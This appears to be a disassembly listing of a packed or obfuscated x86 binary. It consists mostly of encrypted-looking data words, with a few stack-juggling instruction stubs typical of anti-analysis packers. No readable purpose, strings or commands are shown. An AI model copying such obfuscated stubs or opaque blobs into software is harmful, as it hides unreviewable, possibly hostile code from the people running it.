		dd 920D5B63h, 137175C3h, 0DF92E2FCh, 0B6D2110h,	0A24C7F0h
		dd 0CA34BB7Dh, 627FB99h, 4A170000h, 9523E674h, 0C74292E2h
		dd 13715CF8h, 0E661B1FCh, 8235BF88h, 0FAC97C32h, 0F00B6E37h
		dd 994CDA9Ch, 3DF0743Bh, 817ED87Bh, 0EEBD9538h,	99CA342Ch
		dd 5F06Ch, 0F2808800h, 111E4DAh, 656954FEh, 8B4EC919h
		dd 0F0B618FEh, 9C5FAF62h, 0D88EF34Ch, 0F04E8E5Dh, 7FCFFC13h
		dd 57DDA604h, 1371ECA1h, 65EFB767h, 5C126215h, 26098B8Dh
		dd 0B1B70784h, 955DBB36h, 0AE0C5C0Fh, 59A95C02h, 20B4D4A3h
		dd 0B1017601h, 46AF0FFEh, 7F369CFDh, 41108B99h,	7A1940F2h
		dd 50CB1B6Bh, 687CB81h,	59D42470h, 0FAAD4FFBh, 0C600E7AAh
		dd 3EE4CCF7h, 0CF920D88h, 86E6C09Fh, 0DEA60492h, 9F55A558h
		dd 0F8C77E41h, 7C1E4B45h, 0FF7ACA1Ah, 6EB7213Ch, 863C22BEh
		dd 8B19DC3Ah, 0C7A55E2Ch, 0AF05B82Ah, 85Ch, 1B6705B2h
		dd 216DFBBDh, 2672FAC3h, 26721CC8h, 277301C8h, 14DB1C3Dh
		dd 1EE64490h, 28EE4C98h, 2DF04E9Ah, 65E0539Fh, 0F9A796h
		dd 0F5D9B8F0h, 0D98C18DBh, 0B69D4EAh, 0B606B943h, 0C6754E7h
		dd 69B909F6h, 2971FEEh,	0ACFCFC19h, 730BD331h, 22D828ACh
		dd 0F2E807D6h, 5FE7F000h, 66B23E01h, 0AB266077h, 0F2A1DCh
		dd 0BBE0EF0h, 125EEAADh, 0F20C43h, 0A12FF5F0h, 0A834F755h
		dd 531C7AF5h, 0FD4413C9h, 67F000CDh, 9C5F6AC4h,	88C7FD9Dh
		dd 58A83C62h, 22BC7FDDh, 0D184D45Ah, 47FCB81h, 157BBA89h
		dd 94E40FFFh, 2FBD80DEh, 582AD7Ch, 9E190FFFh, 0F325A4DBh
		dd 40093971h, 13B66CBCh, 5DEBAE3Bh, 0FABB11h, 0DBD70000h
		dd 7BD98C18h, 0AD7C2FB5h, 0F60C678Eh, 49FC884Bh, 2DF6645Ah
		dd 0AA79F4A7h, 0F60C678Bh, 0E43484D4h, 0A473EE69h, 0F60C6791h
		dd 0F9C87ECEh, 0FC1902B1h, 296BCA1Ah, 0DDAECDA5h, 752D42Ah
		dd 0FBC0000h, 1C3216Dh,	0C92773h, 26D2307Ch, 17DE3C88h
		dd 32533D89h, 62AE32F9h, 66B23C04h, 68B44208h, 6DB9470Ah
		dd 8DB07FFAh, 0D2F000F8h, 18DB0FF3h, 0B47BD98Ch, 0C086E430h
		dd 0D6BE632h, 0A907BD4Bh, 0B00E5AE6h, 65E05BE9h, 0C67A796h
		dd 0DFF5B8F6h, 0E2243263h, 21D48ADAh, 0C578FCC3h, 642A8803h
		dd 25DB2BDEh, 561DA882h, 0BB6DD09Fh, 0A2F2F60Ch, 0CD79D752h
		dd 8D2D792Fh, 93C40ACBh, 160Bh,	61E32700h, 68000000h, 0ABD430Ah
		dd 677DC08Fh, 92E2F60Ch, 0DBA88C42h, 0AD98C18h,	0F60C7727h
		dd 6E7BD376h, 73D11DABh, 0A57427ADh, 0F60C779Bh, 3B86A043h
		dd 0BFA3EF75h, 0DC8F15DBh, 772AB87Eh, 0AD3812B5h, 3E0D59E7h
		dd 0F60C7005h, 329758F8h, 0E8D793C3h, 0F3FFFFFEh, 35CE3h
		dd 1EED6800h, 0F60C671Fh, 563AF040h, 0D98C18DBh, 0C68D70Ah
		dd 0A5037EF6h, 0F98749DDh, 0F3A6F646h, 0F04AEDA3h, 814C05C8h
		dd 31AC507h, 0A02CEF4Dh, 7705C725h, 541775C1h, 0D79A15C8h
		dd 2A1B40FCh, 8B52B0C1h, 4C025205h, 0C97427Dh, 8B412F6h
		dd 0F47EA366h, 2A729411h, 0C5531674h, 0CD9B2312h, 2A3B8352h
		dd 4090FC19h, 0CD8CBDE1h, 489E51AEh, 600h, 6FBB610Eh, 75C14F11h
		dd 7AC64E17h, 82CE701Ch, 8BD75D24h, 804780A1h, 824AA8F4h
		dd 8C52B0FCh, 995CBA06h, 0D14CBF0Bh, 0C63302h, 694D2CF0h
		dd 926118DBh, 0F60C67A3h, 691C6CBCh, 91A473EEh,	0CEF60C67h
		dd 691CAA70h, 0BF6BC919h, 4209671Dh, 0AC5FEDB0h, 282B995Ch
		dd 1E00583Eh, 612482CEh, 32FA58D3h, 4CAAF6ACh, 0EE4CFF85h
		dd 24E69927h, 551CA981h, 0C174F8C1h, 35D52171h,	93C3EA73h
		dd 264B3h, 43BECF00h, 0C67C174h, 9F12B5F6h, 60F8AA85h
		dd 91803686h, 0BE8D4046h, 0F4FBE161h, 119EB85Bh, 92B1A44Fh
		dd 23C8Fh, 8D4AAB00h, 0F2BB7EF9h, 0B91F4580h, 35850FD7h
		dd 635047Fh, 0B6F60CE0h, 0F7949558h, 6241980Fh,	76C679C9h
		dd 0E396E6C0h, 0FB463F14h, 0A88225F4h, 87B68500h, 0D808E2B9h
		dd 7032D288h, 0B092B209h, 1F9h,	868D4ACCh, 5D650612h, 40BB0B31h
		dd 0E6BB67C5h, 0C0F2417h, 99E939F6h, 0FEC4F1Eh,	2171F60Ch
		dd 0F9D9C6Bh, 7ACAF60Ch, 69894CC7h, 59DC1C72h, 8499681Eh
		dd 7EF4FB31h, 723443DBh, 0B292B1D4h, 1B5h, 7443BECEh, 0F60C67C1h
		dd 0A9984E9Eh, 0EDD582Eh, 0F60C68D7h, 0F6DE838h, 570AC04Ch
		dd 2FB57EDCh, 105FB97Ch, 0A8AB62B2h, 7ED3A258h,	64F4FBB3h
		dd 581A69C1h, 9892B156h, 179h, 7443BEB4h, 0F60C67C1h, 3A984E9Eh
		dd 0D836E977h, 0C03B8715h, 5D139962h, 9D18506Eh, 15CEBADAh
		dd 0C6BF746h, 551868F6h, 4E046846h, 0FDCC04D3h,	1D98FC13h
		dd 0A06F4F5Ah, 0A978BB72h, 0F00B868Ah, 4D008C4Fh, 1DD323FDh
		dd 7140F343h, 0F00B86CEh, 0DEAD8528h, 99CB0C1Ch, 335Ch
		dd 0BA83E100h, 4A987C32h, 0AA79F474h, 0FC13752Ah, 117AB073h
		dd 0AED7080Dh, 0D230AB5Eh, 81D1840Ah, 0EE35FCCBh, 10B3F00Bh
		dd 0B7A76936h, 0C6E799CAh, 3000000h, 0D98C18DBh, 3605B47Bh
		dd 0F60C6707h, 0F2450858h, 95A6456Eh, 0D6991464h, 6366EB2Dh
		dd 0BE7127B7h, 940F9D60h, 70F4BB19h, 9F9E6DBDh,	0C0F60C93h
		dd 0A907BA70h, 0F9834CE6h, 9422E846h, 0F14191E1h, 51AF2AA5h
		dd 45407A5h, 0C930635h,	36F957F6h, 0D5A45AAAh, 0F60C985Bh
		dd 3C96528h, 66E12D7Dh,	31A55EA3h, 28DE2F28h, 68E38539h
		dd 3CC88FEDh, 7975B786h, 7ACAFC16h, 56DAA1FFh, 5FE5AC0Ah
		dd 0D07DA800h, 0B50BBEAEh, 374h, 34FED9Ah, 955E3A5h, 0E5AE2ABh
		dd 0E5A04B0h, 0F5BE9B0h, 0FCC30425h, 6CE2C78h, 10D63480h
		dd 15D83682h, 4DC83B87h, 0C4BF7Eh, 0DDC1A0F0h, 449014DBh
		dd 499523E6h, 8C18DB65h, 2CB87BD9h, 672F11E0h, 9B23F60Ch
		dd 31F452CDh, 0EAA0F0A3h, 836CA06Fh, 73D1FC13h,	87D323B1h
		dd 8C18DBA3h, 2CB87BD9h, 9BCDF1E0h, 74FAC220h, 3C7443BEh
		dd 89FC136Ah, 50FBBE39h, 38BE84A5h, 0B3723585h,	32F9574Ch
		dd 7645F8AEh, 0F00B2CCBh, 8B08A2Dh, 51CE0645h, 0C177D7D1h
		dd 0CA315F21h, 259F99h,	4ABB0000h, 0AA79F474h, 0FC13752Ah
		dd 0A1702373h, 0F00B6A9Eh, 339DB558h, 0D08612D5h, 0CA3C6E30h
		dd 0FAAE99h, 0DBCA0000h, 5ED98C18h, 0F8AB3900h,	0CD94F2A8h
		dd 73369447h, 11D432E5h, 0E8683783h, 0D9F60C6Ch, 24D11716h
		dd 0CA248D84h, 1ADDD719h, 3100EFA7h, 0F60C6A02h, 6BBB0B5Bh
		dd 67E1A41Fh, 0E84DAAE9h, 8E8423Eh, 3E959E45h, 0EB3BEE7Ch
		dd 0C487E59Bh, 8EDE642Ah, 66F2B513h, 0FAAD63B3h, 3AB5B30Bh
		dd 1321AD6Bh, 2FAAFAFCh, 0BB7B246Ch, 0BDE49ECh,	3C616F0h
		dd 71279BE1h, 0E0883625h, 8A589665h, 53B1FA11h,	0A82CF38Bh
		dd 2F8D0858h, 3290DC68h, 703FBA6Bh, 0F60255CDh,	0C0734292h
		dd 9DF60255h, 149EFD4Dh, 0F2B4CC0Dh, 202E93Fh, 5F0C0000h
		dd 511371BDh, 501977C3h, 762280CCh, 672E8CD8h, 82A38DD9h
		dd 0B2FE8249h, 0B6028C54h, 0B8049258h, 0BD09975Ah, 3D00CF4Ah
		dd 22F000C2h, 14DB5F43h, 0E1BF961Dh, 85D56E0Fh,	59E3AC0Ah
		dd 54A056A6h, 303233F6h, 696376h, 9F83CF1Fh, 79F4744Ah
		dd 1AD0541Bh, 75CCD09Fh, 52B0FC13h, 7650068Ch, 9DA47326h
		dd 5BF00B6Ah, 0D8369EB8h, 2CB27A16h, 0C48626DCh, 499CA3Bh
		dd 0B8h, 5DE9C689h, 71968D2Ah, 18DBD7BBh, 0B47BD98Ch, 83D35922h
		dd 6C0F01D0h, 31F4F60Ch, 61DC57A3h, 0C63A392h, 0E94C1BF6h
		dd 76F60C63h, 46FC4C26h, 0E49725E8h, 0A574C9F5h, 0F60C6396h
		dd 0AC2777C7h, 138F3BDDh, 0A11C6CFCh, 41F77D43h, 0B0B806F5h
		dd 288B6635h, 0ACFCFA11h, 880CD331h, 5DE7AF0Dh,	0FCAF3DFFh
		dd 4CAAF6ACh, 1CA0FF85h, 0FAB4CBBFh, 10EF147h, 53000000h
		dd 3DFF5DA9h, 3C0563AFh, 620E6CB8h, 4B1270BCh, 6E8F79C5h
		dd 8EDA662Dh, 92DE6830h, 9CE86E34h, 0A1ED7B3Eh,	51E4B32Eh
		dd 0EF000C1h, 14DB4B2Fh, 23E64490h, 70571A95h, 13DDA7CAh
		dd 2509550Bh, 0E66118DBh, 0C672417h, 1AE939F6h,	0F60C671Bh
		dd 971DE644h, 0E64494E4h, 8F429220h, 96E26E31h,	0D65117A7h
		dd 67A98C5Bh, 66B6F60Ch, 3FBA35B0h, 0C67CD70h, 8C4292F6h
		dd 1902E9BDh, 4F0252FCh, 27A22EF1h, 815D6E64h, 8F52D88Ch
		dd 1CA48EF1h, 0CC18CEADh, 10618E51h, 44F5BE32h,	0B46D308Eh
		dd 4456E5h, 67B707F0h, 3ECC8EECh, 4441F4C3h, 0CE1EF000h
		dd 1A966518h, 0CD2B06CEh, 4AA8102Ah, 0E644FA88h, 0EB499523h
		dd 32C68E28h, 0DE2EE16Fh, 3B8BDB8Eh, 0ECAF0D88h, 0A75DAD60h
		dd 84FF9D49h, 22D85E26h, 0E560DB6Fh, 0FEC12716h, 32E838C6h
		dd 672AB78Fh, 6C2F8DD9h, 0DD72DE0h, 0F3000000h,	0C17443BEh
		dd 9EF60C67h, 0C8AC984Eh, 0DB8E2EDBh, 7B2EBA7Dh, 16C9571Dh
		dd 0B366F0B8h, 4F028E55h, 0F3A62AF1h, 9043E995h, 30E36932h
		dd 0CF8210D2h, 5954517Eh, 4C181h, 0E9830000h, 240C8704h
		dd 0E189515Ch, 4C181h, 0E9810000h, 4, 5C240C87h, 57240489h
		dd 0C781E789h, 4, 8704EF83h, 895C243Ch,	0BE56243Ch, 60C9AD4h
		dd 835E5856h, 248904ECh, 24048124h, 4, 4EC835Fh, 89241C89h
		dd 85F89C3h, 243C8B5Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5438DD
; ---------------------------------------------------------------------------
		db 0F3h
		dd 99DFE30Bh, 690D7A12h, 657289E5h, 0A758B813h,	0C503060Ch
		dd 4CFEE0FFh, 5A2926F7h, 8C98758Ch, 0DFDE5D75h,	67744ADBh
		dd 8A9F74F1h, 3D8B3E98h, 56AC4534h, 1CA11276h, 502C6734h
		dd 99A44F66h, 92370F06h, 7D034B35h, 721075CEh, 2C456C43h
		dd 54BC3336h, 3CD111CEh, 636F0604h, 765038D1h, 51785C1Fh
		dd 41E00817h, 0E93036A7h, 0FD346C00h, 0F3A61686h, 0C08B6191h
		dd 3FDA8166h, 38C0FC4h,	66000000h, 0BD83DF8Bh, 6070211h
		dd 83097500h, 70D65BDh,	19740006h, 0C08B5350h, 3FCB8h
		dd 2D858900h, 8D060730h, 9AAA89Dh, 5BD3FF06h, 65BD8358h
		dd 6070Dh, 53501774h, 3FCB8h, 2D858900h, 8D060730h, 9A7979Dh
		dd 5BD3FF06h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 0F38133C1h, 2184C26Ah, 0BD83C08Bh
		dd 60732B1h, 65840F01h,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 3D78C357h
		dd 436134E1h, 17B1BD83h, 0F000607h, 3785h, 0A4EF8000h
		dd 0A67383BBh, 29BD8350h, 60701h, 82840Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 648A01C3h, 0AE6CBB66h, 443E9h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 2BD0EFFAh
		dd 84E00C7Ah, 0DB8025D7h, 3Ah, 1880F00h, 0F5000000h, 5E9h
		dd 0EE663500h, 0E8579BFCh, 14h,	2FD7E3Dh, 3564333Dh, 11E99F62h
		dd 6EEBA7DFh, 4B532F79h, 5A5A6160h, 150700EAh, 0BF19B3BFh
		dd 0BF705D8Ah, 0E453B5ECh, 0E3FAEEB5h, 0FBF2B11Fh, 0BF6AB1B9h
		dd 0EC30B5CEh, 5B77C4A4h, 56D5B315h, 0BF73B5D5h, 49A11A77h
		dd 3F8A3383h, 0A6EB8F6Fh, 0F5F93010h, 0BF19B3C4h, 0BF705D36h
		dd 0E653B5B3h, 0F3FAEC1Ah, 0FBF2B1C8h, 0BF68B152h, 0EE32B53Bh
		dd 6B7D2C5Eh, 0A6BFCBE4h, 0BF745CE0h, 50FCB5B3h, 31B0D286h
		dd 0D5A34A60h, 0BC9BE276h, 9F73B53Bh, 362C76C2h, 3E7791B2h
		dd 0AA779123h, 0F873B5B3h, 9E20768Eh, 0BF73BB04h, 7488A576h
		dd 90A628BAh, 0BD34C6A2h, 0B0B8E661h, 56286BD0h, 0BF73B102h
		dd 5721B5B3h, 0BF73B5EFh, 0E5B0EF56h, 0BB57E1B2h, 0BB57F11Ch
		dd 0BF73B5D7h, 0B9B0E725h, 143569ACh, 0BF9BE0AFh, 0E273B5ECh
		dd 150958F7h, 0BF19B337h, 0BF705DCFh, 0E553B5CEh, 0EBFAEFA4h
		dd 0FBF2B197h, 0BF6AB1FDh, 0ED31B5ECh, 9B97E7B5h, 56F60B47h
		dd 0BF73B598h, 617CF7D8h, 515D5C6h, 0D912B3CFh,	521C7658h
		dd 0BF7031E3h, 65F3B576h, 4B33E7Ch, 0FC09E2ECh,	36EC029Eh
		dd 0B79A9163h, 3573B5B3h, 434C67F7h, 0E8C33316h, 0F372BA2Dh
		dd 0BF194B1Fh, 0BF705DCCh, 0E653B5CEh, 0F3FAECA4h, 0FBF2B197h
		dd 0BF65B1FDh, 0EE32B5ECh, 0FC4974B5h, 66F8EDC7h, 0BF71B998h
		dd 0BF635CCEh, 8097B567h, 4F95A46Dh, 0ADBE468Eh, 0DEECDFEAh
		dd 0B7F805C2h, 3415F888h, 0BF1949D5h, 0BF705D9Fh, 0E653B567h
		dd 0F3FAEC70h, 0FBF2B1FDh, 0BF6FB1C8h, 0EE32B576h, 26590F8h
		dd 0EE252DACh, 3E134279h, 0B15D64BCh, 0DE4300C0h, 0BF73A530h
		dd 0B244EBECh, 5E72BC92h, 0B4CEF6Bh, 978BA33Bh,	0BF720D95h
		dd 0BF19B567h, 0BF705DE6h, 0E253B5D9h, 0D3FAE82Fh, 0FBF2B152h
		dd 0BF68B11Fh, 0EA36B59Dh, 0E10C800Dh, 61A52BE4h, 60C4BAD9h
		dd 36A23E89h, 3E1591E0h, 0D95F6585h, 60F86CB7h,	0B077746Bh
		dd 0BF72DF4Bh, 0EE73DF67h, 0BF73B65Bh, 7C2A95D9h, 9B3F3CB5h
		dd 9B373472h, 0BF73A03Fh, 7C22F49Dh, 3B7C65BEh,	0BF73B54Fh
		dd 0BF745DD3h, 0FF2EB5D9h, 0AD15D40Dh, 0AB9AED67h, 6073B53Bh
		dd 7A009068h, 1888021h,	8330696Dh, 0ABEDF7h, 0DEE3D1A9h
		dd 0BF73A704h, 9963BB76h, 18536A8Fh, 0DAF4A81Fh, 63D948D8h
		dd 43E97D04h, 0BF19ECE9h, 0BF705D88h, 0E653B5ECh, 0F3FAECB5h
		dd 0FBF2B11Fh, 0BF67B1B9h, 0EE32B5CEh, 34159EA4h, 0D74A3560h
		dd 0BE2030D6h, 0BF19B5ECh, 0BF705D26h, 0E753B53Bh, 0FBFAED5Eh
		dd 0FBF2B1EAh, 0BF66B143h, 0EF33B5B3h, 34537D1Ah, 0BF19B495h
		dd 0BF705D21h, 0E053B53Bh, 0C3FAEA5Eh, 0FBF2B1EAh, 0BF67B143h
		dd 0E834B5B3h, 55F31F1Ah, 0BF8C34C1h, 0B0F3B576h, 0BF72BDB9h
		dd 0E873DF9Dh, 0BF73B626h, 7C2C9567h, 9B0F3CECh, 9B3734DDh
		dd 0BF73A9E8h, 7C24F276h, 0DE10B683h, 4B67468Dh, 89E50E12h
		dd 3AB4994Eh, 0B97F1CCBh, 0BF73B5D8h, 0BF7539E3h, 6CF2B576h
		dd 0AEDE9A25h, 0BF737E74h, 0E873DFCEh, 0BF73B68Fh, 7C2C95B3h
		dd 9B0F3C86h, 9B3734E8h, 0BF73A972h, 7C24F23Bh,	0C9F310Ah
		dd 8750C615h, 259A4085h, 0D573B5B3h, 0BC9BE4D9h, 9F73B5ECh
		dd 362A762Fh, 3E779177h, 0A57791D9h, 0FE73B5CEh, 94947636h
		dd 0F5BFF440h, 0E6AC3E73h, 5725B586h, 0BF73B575h, 0E1B0EB1Bh
		dd 0BB57C114h, 0BB57F14Fh, 0BF73B570h, 97B0E3F5h, 0D9FB37B1h
		dd 4078CC6Fh, 0BF383179h, 0BF19B53Bh, 0BF705DCEh, 0E453B5CEh
		dd 0E3FAEEA4h, 0FBF2B197h, 0BF65B1FDh, 0EC30B5ECh, 4619A5B5h
		dd 0BF73A7D2h, 7BF9D49Dh, 2180A786h, 0B254021h,	0C523F43Ch
		dd 78AA461Ah, 0B3DACD69h, 0BF73B470h, 0B9F9BA3Bh, 0E973B59Dh
		dd 66EE0EA8h, 4CF2FD3Dh, 0F57A60BBh, 0AE8E2360h, 0ECF638A0h
		dd 3275B9D9h, 0B3DE1A86h, 0CB8B8E9Bh, 6E7C85C9h, 4A98F2AEh
		dd 387C0FD5h, 3CAA3EBFh, 0B8410451h, 3B7CB470h,	0BF73B55Bh
		dd 0ECE3664h, 0BF75B2D9h, 0BF213068h, 387CB5B3h, 0BF73B5CBh
		dd 0BF73B805h, 4C595676h, 0C31F04ADh, 132B4DBBh, 2F0AAF2h
		dd 0B974B44Eh, 0E8F7BAB3h, 0D573B5D9h, 0BC9BE2ECh, 9F73B576h
		dd 362C7664h, 3E7791E1h, 0A977918Ah, 0F873B567h, 8E6E76E4h
		dd 0BF795CA1h, 3115B5ECh, 15C3C1AFh, 0B9E94CAh,	0BF736974h
		dd 0EA73DFCEh, 0BF73B68Fh, 7C2E95B3h, 9B1F3C84h, 9B3734E8h
		dd 0BF73A872h, 7C26F03Bh, 0E1381CDDh, 0B697B8F9h, 2F05466h
		dd 0B9748702h, 0D0F6BAD8h, 0D573B5ECh, 0BC9BE476h, 9F73B53Bh
		dd 362A76C4h, 3E779182h, 0A4779123h, 0FE73B5B3h, 0C07F7688h
		dd 4FCEFA03h, 54F3D2F2h, 0BDF7BA4Bh, 0C73B59Dh,	0BF19E8DEh
		dd 0BF705D36h, 0E653B5B3h, 0F3FAEC1Ah, 0FBF2B1C8h, 0BF6FB152h
		dd 0EE32B53Bh, 4A47605Eh, 0F5E4E722h, 307CC064h, 0BF73B5B1h
		dd 9BC14553h, 0F99A4D2Fh, 3F73B576h, 0B013C3CDh, 87C6A2Ah
		dd 0D52ED400h, 0BC9BE367h, 9F73B5B3h, 362D7687h, 3E779198h
		dd 0A7779132h, 0F973B53Bh, 707076CBh, 56DB66F1h, 0BF73B568h
		dd 4A1F4DF9h, 90D7D16Dh, 667BD778h, 7006AB68h, 4C99345Dh
		dd 14CE38B8h, 3275B967h, 0B3DC95EAh, 0E36E0DB5h, 3A40CEE3h
		dd 0B974B645h, 56B27A5Dh, 0AE8E2360h, 0ECF638A0h, 3275B9D9h
		dd 0B3DE1A86h, 0CB8B8E9Bh, 6E7C85C9h, 5E983AEh,	0BD83A4F3h
		dd 60CA978h, 8D0D7400h,	74B4A8Dh, 1B806h, 0E1FF0000h, 0AE85140h
		dd 0CD000000h, 5DC7F6A4h, 6B661813h, 5A2EB6A9h,	6AF55Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 1E0E83C3h, 59E50A5h,	5024EB81h, 0E8836983h, 9DF802Dh
		dd 0DC06BB66h, 6AC08Bh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 0FB99A6C3h, 822A10C2h, 8DE381C2h
		dd 83160F4Ah, 70211BDh,	9750006h, 0D65BD83h, 74000607h
		dd 8B535019h, 3FCB8C0h,	85890000h
		dd 60723A9h, 0AB0F9D8Dh, 0D3FF0609h, 0BD83585Bh, 6070D65h
		dd 50177400h, 3FCB853h,	85890000h, 60723A9h, 0A7B09D8Dh
		dd 0D3FF0609h, 0DF80585Bh, 57006ABAh, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 0FDBE24BEh
		dd 0AE9h, 19733900h, 24EA61Ch, 8B8DE8B0h, 8D8DC0h, 33060CB1h
		dd 71A4D85h, 18D8906h, 6A06070Ah, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 0F061C350h
		dd 958B9D18h, 6071C2Dh,	14A585C7h, 59700607h, 13E90000h
		dd 69000000h, 6FF06E70h, 0FCEF96B9h, 79FA118Ah,	0C38D6D53h
		dd 85C7F9ACh, 6072FD5h,	0
		dd 0E624F7B8h, 0D78B666Ch, 0CDDB5FFh, 9D8B0607h, 6071AFDh
		dd 0DE9h, 0C03F4600h, 92B06C45h, 0B7D7363Ah, 95FF62ADh
		dd 6071C19h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	44C35040h, 0FCBA12D9h, 21CDB58Bh, 6A0607h, 1B6995FFh
		dd 0C08B0607h, 21CE48EBh, 628077ACh, 62998FFCh,	0B390989Bh
		dd 0E88FE5BFh, 137C6732h, 6BA6B369h, 74199B69h,	951B0370h
		dd 1CC77FF4h, 94700F14h, 0DA899DCDh, 3ECB47Dh, 586F69B7h
		dd 0A92DA69Dh, 298C87FEh, 9F761A8Eh, 158139Dh, 8D8D1BA2h
		dd 60CB1F8h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 16h,	42C35646h, 8166CC69h, 3172D8D7h, 715B1B5h, 18D8906h
		dd 0E806070Ah, 9, 802B67Eh, 0F8CDB179h,	0A59D89A9h, 5A060732h
		dd 0A585C7F9h, 14060714h, 8B000073h, 72381B5h, 0D585C706h
		dd 6072Fh, 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 2BDC351h, 0D5602C7Dh, 0BD238614h
		dd 6070A85h, 214DB5FFh,	0BB660607h, 95FFF4AAh, 6071C19h
		dd 19D98523h, 6A0607h, 1B6995FFh, 0C08B0607h, 0B7091BEBh
		dd 0D235D49Fh, 0CE661514h, 9E40B4B1h, 54076435h, 6AF9C063h
		dd 0AE5A6998h, 98E951h,	940000h, 50000h, 10000h, 0A280000h
		dd 20000h, 20h dup(0)
		dd 8D9A0000h, 3AE9530Ch, 6800000Bh, 60CB43Fh, 0FAC9C0E9h
		dd 0B54568FFh, 0B6E9060Ch, 68FFFAC9h, 60CB688h,	0FAC9ACE9h
		dd 0B71968FFh, 0A2E9060Ch, 68FFFAC9h, 60CB869h,	0FAC998E9h
		dd 0B8CC68FFh, 8EE9060Ch, 68FFFAC9h, 60CBB8Ch, 0FAC984E9h
		dd 0BC6468FFh, 7AE9060Ch, 0E5FFFAC9h, 0EA489438h, 0F04E9A28h
		dd 0F3519D27h, 0FB59A547h, 7A64B034h, 0CB592059h, 0D359217Fh
		dd 0DD632987h, 0E4703391h, 0DBAA2598h, 0F000D458h, 0DB422605h
		dd 7BD98C18h, 0F1E02CB8h, 51209BCDh, 0FC136A1Fh, 1BA169C7h
		dd 883B8B65h, 6ED94A0Dh, 0F978F52Ah, 0C3CD7443h, 0B02BF00Bh
		dd 4F029052h, 0C33605D4h, 0D727F00Bh, 142ED187h, 0CACEC587h
		dd 3C0599h, 2C8A0000h, 7903CB63h, 732676C6h, 4A896D23h
		dd 3BFAC974h, 24F60C67h, 8E0984D4h, 27DD6730h, 13754458h
		dd 0B37BD9FCh, 5726D929h, 0F00B6AE8h, 0C4D36B0Eh, 99CA3C02h
		dd 0CE42h, 18DB5E00h, 792CD27Eh, 7F05CB29h, 792C7CCCh
		dd 0BE5D541Bh, 2540C9D2h, 35404306h, 0A0E05A8Fh, 7C3F9D50h
		dd 1CDF3DF0h, 4D754490h, 22F60CB2h, 2785D15Fh, 0AA25D864h
		dd 43F9834Ch, 83FE6A54h, 60FEAA08h, 4281DBAAh, 90EEFC13h
		dd 9EEA3AE4h, 0DE590FAFh, 792FBD80h, 0F8682FFEh, 6DBDFA11h
		dd 95A877F2h, 46F60227h, 0EF3FF280h, 940FC515h,	6D0FBB19h
		dd 0E9259B7h, 179D64C2h, 0CC16F4B8h, 95F12B4h, 912h, 83CF6D1Ah
		dd 89D56325h, 8EDA622Bh, 8EDA8430h, 8FDB6930h, 7C4384A5h
		dd 864EACF8h, 9056B400h, 9558B602h, 0CD48BB07h,	0D33FFEh
		dd 5D4120F0h, 891D14DBh, 94EADCEEh, 76D42070h, 4CAA25B3h
		dd 0FD4D0086h, 0BE17FB47h, 5C0F9D60h, 5767560Ch, 0D5C79611h
		dd 4AFC1375h, 0C97847FAh, 2FF00B6Ah, 18F56B4h, 0A548FE4Eh
		dd 3C3CFE8Dh, 0C18499CAh, 9D185AD5h, 0F4772D31h, 0DAh
		dd 8C18DB10h, 14E35ED9h, 0F60C6721h, 0DA38EE3Eh, 0BDA8D13h
		dd 0F60C6CA3h, 5E25C184h, 7FCF1FD2h, 47E3A604h,	0EFA5F57Fh
		dd 0CB8245A3h, 5120A46Dh, 0F60C63E2h, 28DB2B7Bh, 0D06332ADh
		dd 8DF60C63h, 2DE06C2Fh, 0A2CA8DDDh, 53DCF5BAh,	3985742Ah
		dd 8FE5B42Fh, 0E0FC13C9h, 69554490h, 3244658Ch,	85D5B031h
		dd 0E18F3B0Ah, 0A4F4FA11h, 8004CB29h, 78BB8A05h, 0E5F6022Eh
		dd 3593DF95h, 3383E26Eh, 0DBB4CC0Eh, 80CD228h, 73200000h
		dd 5D1F7DC9h, 5C2583CFh, 822E8CD8h, 6B3290DCh, 8EAF99E5h
		dd 0AEFA864Dh, 0B2FE8850h, 0BC088E54h, 0C10D9B5Eh, 3104D34Eh
		dd 2EF000D2h, 14DB6B4Fh, 0F0B71590h, 0E762AE64h, 679E9D6Ch
		dd 44BFF60Ch, 0C67C675h, 0F74797F6h, 9420E341h,	60BE6448h
		dd 0F9570D97h, 42D69C36h, 0EF3FF280h, 0F17F419Fh, 0EB9EEE3Eh
		dd 0F23ECA8Dh, 0E2DFC77h, 4FF60C67h, 645A49FFh,	92BA8904h
		dd 0FBFC191Ah, 0FD230ABh, 0A7663581h, 77F000DAh, 18CB5119h
		dd 0BD700EBAh, 78671D6Dh, 0E9AC275Fh, 1B44861h,	0A331F3A0h
		dd 98519D53h, 8CCEF008h, 0E46831C5h, 0DE91E131h, 48C33E8Eh
		dd 793FFECDh, 0C437F000h, 0DB4CD329h, 1ED424FEh, 1FE80D4Fh
		dd 8D4292FAh, 0DEDF32BEh, 2A308E89h, 6326D967h,	22A7FD68h
		dd 0D598E81Fh, 0CCC6B98Bh, 0AF2A7A51h, 0F6B87134h, 0DB3B8CDBh
		dd 0ECCA9FBBh, 0C7429208h, 0CF5045F8h, 14CA1A65h, 0D0B3BF45h
		dd 0DC0106Fh, 4DC8A01Eh, 15D30FD2h, 0B819F282h,	8E103302h
		dd 0F26D69D2h, 0C2411023h, 0ADFD4D65h, 8311D432h, 49F9BC37h
		dd 68461CE4h, 0B578D68Ch, 40F8C827h, 0DB8E210Ch, 6C985h
